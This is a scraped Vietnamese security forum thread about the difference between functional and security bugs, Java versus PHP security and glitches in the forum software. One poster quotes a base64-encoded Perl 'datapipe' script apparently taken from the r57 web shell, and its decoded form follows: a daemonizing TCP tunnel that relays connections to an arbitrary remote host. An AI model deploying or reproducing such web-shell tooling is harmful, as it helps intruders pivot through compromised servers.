http://baomatvn.org/diendan/showthread.php?t=400 

Expression I18n.getMessage("ForumBase.rule") is undefined on line 64, column 343 in viet/header.htm

Thế, lỗi chức năng khác lỗi bảo mật chỗ nào nhỉ? ;). 

conmale wrote:

Thế, lỗi chức năng khác lỗi bảo mật chỗ nào nhỉ? ;). 

Lỗi bảo mật khác lỗi chức năng là nó không kêu gào lên, vì vậy thường người ta không để ý, chỉ có hackers mới để ý :wink:  

KINYO wrote:

conmale wrote:

Thế, lỗi chức năng khác lỗi bảo mật chỗ nào nhỉ? ;). 

Lỗi bảo mật khác lỗi chức năng là nó không kêu gào lên, vì vậy thường người ta không để ý, chỉ có hackers mới để ý :wink:  

Mới đúng có... 1/2 ;) 

Sau 15 phút tìm kiếm tài liệu có thể đưa ra vài nhận định Functional bugs là lỗi của chương trình tồn tại ở implementation-level và thường visual, dễ nhận thấy, dễ sửa chữa. Lỗi này xuất hiện trong code hoặc trong quá trình thực thi (hơi khó nói, như kiểu sai chính tả, hoặc thiếu sót 1 function nào đấy). Security bugs là lỗi chương trình ở deeper-level so với functional bugs, có khả năng khai thác, thường ở design-level, khó nhận biết.  

Theo em nghĩ thông thường điểm khác cơ bản ở chỗ lỗi chức năng xảy ra khi lập trình viên chưa (hoặc quên) implement chức năng đó, mà cái gì chưa có thì khó gây hại hơn chức năng có rồi mà không hoàn chỉnh khiến nó dễ bị lợi dụng cho mục đích phá hoại. Nhưng nghĩ đi nghĩ lại nhiều khi ranh giới cũng khó phân biệt. Chẳng hạn chức năng A bị quên, một chức năng B khác lại phụ thuộc vào A và do vậy B có lỗi. Lỗi này rất có thể là một security bug rất to. Vậy kết luận cuối cùng : thiếu chức năng A là fuctional hay security bug ? 

tiếp tục khai triển xem :) 

Thế mới chết hehe có bít bug của nó cũng hổng chắc bít Exploit ra sao hichic mấy cụ Admin tính kĩ quá  

có phải forum viết bằng ngôn ngữ jsp phải không, em cũng đang chập chững bước vào ngôn ngữ java nghe thầy nói java viết cái gì cũng được cả nhưng bù lại nó chạy rất nặng nhưng sao lại thấy forum hva chạy cũng nhanh chứ đâu có i` ạch đâu nhỉ. Mà jsp nghe nói rắc rối phức tạp đa số ai cũng sử dụng php và asp, anh Comale có thể so sánh về độ bảo mật thì ngôn ngữ nào có tính bảo mật cao hơn(đánh giá trên 1 người lập trình viên chưa có kinh nghiệm để viết chương trình).  

Hình như anh comale vẫn còn bị ám ảnh con r57 với c99 gì đoá thì phải.  

Nói về mặt rắc rối và phức tạp thì khó có thể so sánh jsp, asp và php cái nào phức tạp hơn cái nào. Bản thân jsp không thể hoạt động nếu không có các class tiện ích giúp cho việc xử lý data. Có lẽ đây là lý do lắm người tin rằng jsp phức tạp? Jforum không dùng jsp. . 

hackernohat wrote:

Thế mới chết hehe có bít bug của nó cũng hổng chắc bít Exploit ra sao hichic mấy cụ Admin tính kĩ quá  

Sao biết được có bug hay không có bug hay vậy? Hay lại lò dò vào bug track để xem bug thiên hạ công bố? :twisted: Thông thường chẳng mấy ai rành Java mà bỏ thời gian ra để viết 1 con j99 đâu ;) (j for java). Họ để dành thời gian làm chuyện ích lợi hơn là tạo tool cho kiddie phá phách :twisted:  

Vâng em biết là ngôn ngữ nào lập trình nếu mình không viết 1 cách chặc chẽ sẽ bị lỗi nhưng theo em thấy khi mình viết java khi mình dùng một biến nào đó thì mình cần phải định nghĩa nó còn không thì không dùng được còn đối với php thì các sử dụng biến có vẻ thoải mái hơn(em chưa học php chi nghe người ta nói) vì việc sử dụng biết có vẻ thoải mái này khiến cho người lập trình trong lúc viết chương trình đôi khi ko định nghĩa vẫn sử dụng được và thía nếu 1 hacker biết được điểm này họ sẽ khai thác được nếu họ định nghĩa lại biến đó(ví dụ up 1 con r57 chẳng hạn (vniss chuyên gia sử dụng mấy cái này hihi)).  

Anh Comale tại sao người ta nói java có tính bảo mật cao hơn với so với ngôn ngữ lập trình khác.  

conmale wrote:

hackernohat wrote:

Thế mới chết hehe có bít bug của nó cũng hổng chắc bít Exploit ra sao hichic mấy cụ Admin tính kĩ quá  

Sao biết được có bug hay không có bug hay vậy? Hay lại lò dò vào bug track để xem bug thiên hạ công bố? :twisted: Thông thường chẳng mấy ai rành Java mà bỏ thời gian ra để viết 1 con j99 đâu ;) (j for java). Họ để dành thời gian làm chuyện ích lợi hơn là tạo tool cho kiddie phá phách :twisted:  

He xin lỗi tui đang lò dò với cái đống mã down về từ internet xem có cái bug nào không ý mà ( nhưng hic hình như chưa đụng cái nào như trước nay từng gặp cả ).Hey mấy cái r57 hay c99 hay mấy con shell chỉ làm cho dễ hơn thui chứ đâu có gì đặc biệt,nó chỉ là tổng hợp chức năng tui chứ làm bằng tay vẫn ngon bác ạ, em là "kiddie" mà cũng bít "chút ít" món khai thác bằng tay thưa bác. :twisted:  

$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";

Có nên fix cái này ko nhỉ:

list.html wrote:

Bugs hunting Do thành viên HVA phát hiện. 4 55 11/07/2006 09:57:38 Golden Autumn [Latest Reply]

 

 

Trong khi đó:

forums/show/15.html wrote:

Site HVA có lỗi ? [ Chuyển đến trang: 1, 2, 3 ] 35 dungphp 732 11/07/2006 09:57:38 Golden Autumn [Latest Reply]

 

 

=> Danh sách page #2 truy xuất từ list.html khác với danh sách page #2 truy xuất từ forum.html 

"học giỏi hay không là do người học chứ không phải do môn học " Tui hỏi ông nha tại sao môn "thể dục" có nhiều người học giỏi hơn môn "toán"  

Em biết thế nào anh cũng nói em tự tìm hiểu. "Chương trình có bảo mật hay không là do người tạo ra nó chớ chẳng phải do loại ngôn ngữ lập trình họ dùng." Điều này thì quá rõ ràng rồi ko cần anh nhắc lại.  

Thứ hai giả sử có đi nữa thì cũng do nhiều người thích môn thể dục hơn môn toán hoặc do có nhiều người có năng khiếu thể dục hơn là toán học chứ không phải tại môn thể dục dễ hơn môn toán 

Thế mới chết hehe có bít bug của nó cũng hổng chắc bít Exploit ra sao hichic mấy cụ Admin tính kĩ quá  

Tại sao nhiều người thích môn thể dục, vì nó gần gũi với con người hơn nên nó dễ học hơn so với môn Toán khô khan đòi khó tiếp thu hơn hỏi phải có sự khiên trì nhẫn nại nhiều hơn. Nếu cần thì so sánh thêm thì học html dễ học hơn học Java nhiều.  

thống kê tại VN năm 2006 cho thấy : môn "giáo dục giới tính" mới có nhiều người học giỏi nhất ,hơn cả thể dục và toán ...  

Hì hì, hay lắm... làm "bằng tay" hả? Vậy bồ cho biết giá trị: Code:

$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";

Trong con r57 là gì và nó có tác dụng gì vậy? :lol:  

#!/usr/bin/perl
use IO::Socket;
use POSIX;
$localport = $ARGV[0];
$host      = $ARGV[1];
$port      = $ARGV[2];
$daemon=1;
$DIR = undef;
$| = 1;
if ($daemon){ $pid = fork; exit if $pid; die "$!" unless defined($pid); POSIX::setsid() or die "$!"; }
%o = ('port' => $localport,'toport' => $port,'tohost' => $host);
$ah = IO::Socket::INET->new('LocalPort' => $localport,'Reuse' => 1,'Listen' => 10) || die "$!";
$SIG{'CHLD'} = 'IGNORE';
$num = 0;
while (1) { 
$ch = $ah->accept(); if (!$ch) { print STDERR "$!\n"; next; }
++$num;
$pid = fork();
if (!defined($pid)) { print STDERR "$!\n"; } 
elsif ($pid == 0) { $ah->close(); Run(\%o, $ch, $num); } 
else { $ch->close(); }
}
sub Run {
my($o, $ch, $num) = @_;
my $th = IO::Socket::INET->new('PeerAddr' => $o->{'tohost'},'PeerPort' => $o->{'toport'});
if (!$th) { exit 0; }
my $fh;
if ($o->{'dir'}) { $fh = Symbol::gensym(); open($fh, ">$o->{'dir'}/tunnel$num.log") or die "$!"; }
$ch->autoflush();
$th->autoflush();
while ($ch || $th) {
my $rin = "";
vec($rin, fileno($ch), 1) = 1 if $ch;
vec($rin, fileno($th), 1) = 1 if $th;
my($rout, $eout);
select($rout = $rin, undef, $eout = $rin, 120);
if (!$rout  &&  !$eout) {}
my $cbuffer = "";
my $tbuffer = "";
if ($ch && (vec($eout, fileno($ch), 1) || vec($rout, fileno($ch), 1))) {
my $result = sysread($ch, $tbuffer, 1024);
if (!defined($result)) {
print STDERR "$!\n";
exit 0;
}
if ($result == 0) { exit 0; }
}
if ($th  &&  (vec($eout, fileno($th), 1)  || vec($rout, fileno($th), 1))) {
my $result = sysread($th, $cbuffer, 1024);
if (!defined($result)) { print STDERR "$!\n"; exit 0; }
if ($result == 0) {exit 0;}
}
if ($fh  &&  $tbuffer) {(print $fh $tbuffer);}
while (my $len = length($tbuffer)) {
my $res = syswrite($th, $tbuffer, $len);
if ($res > 0) {$tbuffer = substr($tbuffer, $res);} 
else {print STDERR "$!\n";}
}
while (my $len = length($cbuffer)) {
my $res = syswrite($ch, $cbuffer, $len);
if ($res > 0) {$cbuffer = substr($cbuffer, $res);} 
else {print STDERR "$!\n";}
}}}

Functional bugs --> làm cho 1 hoặc nhiều chức năng không thể thực thi. Functional bugs xảy ra ở trạng thái involuntary. Security bugs --> chức năng đã được thực thi nhưng có thể làm cho nó "đổi thái độ", dẫn đến việc tạo lỗ hổng hoặc nhân nhượng dịch vụ. Security bugs xảy ra ở trạng thái calculated.  

<cite>conmale wrote:</cite>
<blockquote>Functional bugs --> làm cho 1 hoặc nhiều chức năng không thể thực thi. Functional bugs xảy ra ở trạng thái involuntary. 

Security bugs --> chức năng đã được thực thi nhưng có thể làm cho nó "đổi thái độ", dẫn đến việc tạo lỗ hổng hoặc nhân nhượng dịch vụ. Security bugs xảy ra ở trạng thái calculated.   </blockquote> 

Đây giống lập trình trạng thái thiệt, nhưng lại dành cho webpage. Thật sự có ko? Em mới nghe nói nhưng ko rõ nên confirm cho "an toàn info". :D :D

chuotkhongrang wrote:

Vâng em biết là ngôn ngữ nào lập trình nếu mình không viết 1 cách chặc chẽ sẽ bị lỗi nhưng theo em thấy khi mình viết java khi mình dùng một biến nào đó thì mình cần phải định nghĩa nó còn không thì không dùng được còn đối với php thì các sử dụng biến có vẻ thoải mái hơn(em chưa học php chi nghe người ta nói) vì việc sử dụng biết có vẻ thoải mái này khiến cho người lập trình trong lúc viết chương trình đôi khi ko định nghĩa vẫn sử dụng được và thía nếu 1 hacker biết được điểm này họ sẽ khai thác được nếu họ định nghĩa lại biến đó(ví dụ up 1 con r57 chẳng hạn (vniss chuyên gia sử dụng mấy cái này hihi)).  

Tính linh động và mạnh mẽ của một ngôn ngữ lập trình không chỉ dừng lại ở chỗ dùng "biến". So sánh php và java thì hơi khập khiễng vì php nặng procedural, pseduo-object oriented. Trong khi đó, java là true OO. Vấn đề "thoải mái" hay không còn đụng chạm đến chuyện thành thạo + quen dùng một ngôn ngữ nữa. So sánh không có khuôn khổ, thang bực thì không khéo trật chìa.

chuotkhongrang wrote:

Anh Comale tại sao người ta nói java có tính bảo mật cao hơn với so với ngôn ngữ lập trình khác.  

Hì, tại sao em không thử tìm hiểu xem? ;) "Nghe người ta nói" là điều nên tránh xa, nhất là đối với dân lập trình + bảo mật. Nói về mặt kỹ thuật, java là ngôn ngữ có data type rất cụ thể và chặc chẽ. Em có thể "cast" type nhưng không phải là cast thế nào cũng được. Riêng chuyện "java bảo mật hơn" thì anh đã trả lời trong bài trước. Nói lại 1 lần nữa: chương trình có bảo mật hay không là do người tạo ra nó chớ chẳng phải do loại ngôn ngữ lập trình họ dùng. 

conmale wrote:

chuotkhongrang wrote:

Vâng em biết là ngôn ngữ nào lập trình nếu mình không viết 1 cách chặc chẽ sẽ bị lỗi nhưng theo em thấy khi mình viết java khi mình dùng một biến nào đó thì mình cần phải định nghĩa nó còn không thì không dùng được còn đối với php thì các sử dụng biến có vẻ thoải mái hơn(em chưa học php chi nghe người ta nói) vì việc sử dụng biết có vẻ thoải mái này khiến cho người lập trình trong lúc viết chương trình đôi khi ko định nghĩa vẫn sử dụng được và thía nếu 1 hacker biết được điểm này họ sẽ khai thác được nếu họ định nghĩa lại biến đó(ví dụ up 1 con r57 chẳng hạn (vniss chuyên gia sử dụng mấy cái này hihi)).  

Tính linh động và mạnh mẽ của một ngôn ngữ lập trình không chỉ dừng lại ở chỗ dùng "biến". So sánh php và java thì hơi khập khiễng vì php nặng procedural, pseduo-object oriented. Trong khi đó, java là true OO. Vấn đề "thoải mái" hay không còn đụng chạm đến chuyện thành thạo + quen dùng một ngôn ngữ nữa. So sánh không có khuôn khổ, thang bực thì không khéo trật chìa.

chuotkhongrang wrote:

Anh Comale tại sao người ta nói java có tính bảo mật cao hơn với so với ngôn ngữ lập trình khác.  

Hì, tại sao em không thử tìm hiểu xem? ;) "Nghe người ta nói" là điều nên tránh xa, nhất là đối với dân lập trình + bảo mật. Nói về mặt kỹ thuật, java là ngôn ngữ có data type rất cụ thể và chặc chẽ. Em có thể "cast" type nhưng không phải là cast thế nào cũng được. Riêng chuyện "java bảo mật hơn" thì anh đã trả lời trong bài trước. Nói lại 1 lần nữa: chương trình có bảo mật hay không là do người tạo ra nó chớ chẳng phải do loại ngôn ngữ lập trình họ dùng. 

Theo em thấy thì khi đã OOP thì cái gì cũng chậm thêm cả, làm gì có chuyện bộ nhớ lưu nhiều hơn lại nhanh hơn so với bộ nhớ lưu ít hơn 

Thứ nhất chưa có tài liệu nào nói thể dục nhiều người giỏi hơn môn toán 

Thứ hai giả sử có đi nữa thì cũng do nhiều người thích môn thể dục hơn môn toán hoặc do có nhiều người có năng khiếu thể dục hơn là toán học chứ không phải tại môn thể dục dễ hơn môn toán 

Tui hỏi ông nha tại sao môn "thể dục" có nhiều người học giỏi hơn môn "toán" 

Hì hì, hay lắm... làm "bằng tay" hả? 

Mấy chú mới lớn hay làm vậy mà :D)  

Mình thì không rõ HVA phát triển bằng ngôn ngữ gì chỉ thấy có thông tin về Jforum=jps vậy thôi, và kết nhất các câu "Ngôn ngữ lập trình không phải là quan trọng, quan trọng là người dùng nó để viết như thế nào". Giá như mình tự phát triển từ đầu một 4fum bằng một ngôn ngữ mã nguồn mở bảo mật kém như php (chẳng hạn), rồi dùng làm trang kiểu dạng HVA thì hay biết bao.  

Nói lại 1 lần nữa: chương trình có bảo mật hay không là do người tạo ra nó chớ chẳng phải do loại ngôn ngữ lập trình họ dùng. 

Ở đấy em hiểu JForum là viết bằng JAVA sao anh nói lại không dùng jsp . Em không rõ ý anh lắm . 

aloneknight wrote:

Mình thì không rõ HVA phát triển bằng ngôn ngữ gì chỉ thấy có thông tin về Jforum=jps vậy thôi, và kết nhất các câu "Ngôn ngữ lập trình không phải là quan trọng, quan trọng là người dùng nó để viết như thế nào". Giá như mình tự phát triển từ đầu một 4fum bằng một ngôn ngữ mã nguồn mở bảo mật kém như php (chẳng hạn), rồi dùng làm trang kiểu dạng HVA thì hay biết bao.  

Câu trên thì khẳng định ngôn ngữ không quan trọng, câu dưới thì lại nói php là 1 ngôn ngữ bảo mật kém 8)) PHP chưa chắc bảo mật kém như bồ nghĩ đâu, quang trọng là cách lập trình của người viết như thế nào để tránh phát sinh lỗi . PS : Vậy theo bồ như thế nào là 1 ngôn ngữ kém bảo mật ? :?:)  

JSP chỉ là 1 "lối triển khai" của Java khi viết ứng dụng web. JForum tuy viết bằng Java nhưng không dùng "lối triển khai" này. 

Mình vẫn chưa rõ câu này cho lắm. JForum = JSP, mà JSP = 'lối triển khai' vậy thì JForum = 'lối triển khai' chứ nhỉ??? 

Chắc mấy bác phát triển HVA giữ tí nghề nhỉ? Tui nghĩ đâu cần vậy đâu, share là chính mà. 

không có gì khác ngoài câu giấu nghề à  

QM wrote:

không có gì khác ngoài câu giấu nghề à  

Nhảm! Có mắt để làm gì không đọc "Powered by JForum ©"? Có tay để làm gì không google phảt coi trang chủ JForum ở đâu để vào load? 

nbthanh wrote:

QM wrote:

không có gì khác ngoài câu giấu nghề à  

Nhảm! Có mắt để làm gì không đọc "Powered by JForum ©"? Có tay để làm gì không google phảt coi trang chủ JForum ở đâu để vào load? 

cái này bọn em biết từ hồi HVA mới chuyển sang dùng Jforum cơ,cũng chật vật mãi mới cài được trên localhost đó,nào là cài máy ảo giava rồi còn cài thêm cả mèo tôm vào nữa <tomcat> rồi còn nhét nó vô nó mới chạy .phì phì,giờ vẫn vứt xó đó :mrgreen: :mrgreen: share là share cái edit của bác,cái config sever cơ,.....chuyện nhà tế nhị kô nói ra thì cũng kô ai trách bác,ác cái bác trách ngược chúng em sao kô lên hỏi google bác config nó thế nào :-o)  

Đoạn 1: <style type="text/css"> <!-- @import url("/hvaonline/templates/viet/styles/vi_VN.css?1170276893887"); --> </style> Đoạn 2 <body class="vi_VN"> <!-- Original theme from phpBB http://www.phpbb.com) subSilver Created by subBlue design http://www.subBlue.com Modifications by JForum Team Added more features and Black Silver theme designed by HVA --> Đoạn 3 </table> <iframe src="/hvaonline/templates/ping_session.html" height="0" width="0" frameborder="0" scrolling="no"></iframe> </body>  

omega-toplist wrote:

Đoạn 1: <style type="text/css"> <!-- @import url("/hvaonline/templates/viet/styles/vi_VN.css?1170276893887"); --> </style> Đoạn 2 <body class="vi_VN"> <!-- Original theme from phpBB http://www.phpbb.com) subSilver Created by subBlue design http://www.subBlue.com Modifications by JForum Team Added more features and Black Silver theme designed by HVA --> Đoạn 3 </table> <iframe src="/hvaonline/templates/ping_session.html" height="0" width="0" frameborder="0" scrolling="no"></iframe> </body>  

Là sao? 

Đoạn 3 </table> <iframe src="/hvaonline/templates/ping_session.html" height="0" width="0" frameborder="0" scrolling="no"></iframe> </body>  

xin phép spam 1 phát ,em tháy AJAX nhiều cái hay lắm ! Thế thì tại sao k0 làm cú tích hợp thêm AJAX vào nhỉ ???? :?:) :?) :roll: :lol:)  

meomeo_bebong wrote:

xin phép spam 1 phát ,em tháy AJAX nhiều cái hay lắm ! Thế thì tại sao k0 làm cú tích hợp thêm AJAX vào nhỉ ???? :?:) :?) :roll: :lol:)  

Biết là spam sao vẫn spam? AJAX hay chỗ nào? Tích hợp AJAX vào đâu? 

conmale wrote:

meomeo_bebong wrote:

xin phép spam 1 phát ,em tháy AJAX nhiều cái hay lắm ! Thế thì tại sao k0 làm cú tích hợp thêm AJAX vào nhỉ ???? :?:) :?) :roll: :lol:)  

Biết là spam sao vẫn spam? AJAX hay chỗ nào? Tích hợp AJAX vào đâu? 

Có lẽ cháu nhầm . cái mới nhất chưa hẳn đã là tốt nhất . Bài ấy cháu viết khi mới vào HVA ấy mà , mong bà con thứ lỗi . Nhưng quả thật HVA bây giờ nhiều lỗi hơn ngày xưa . Chắc do mem đông quá , hix . mấy cái chắc phải nhờ các "cụ" BQT lập kế hoạch tương lai và làm "phao cứu sinh " hay "tàu cứu hộ" dự phòng cho tương lai của HVA thôi như ghost ,back up , server ảo , server phụ ....chẳng hạn . Vài lời thiển cận ,bà con đừng trách :D)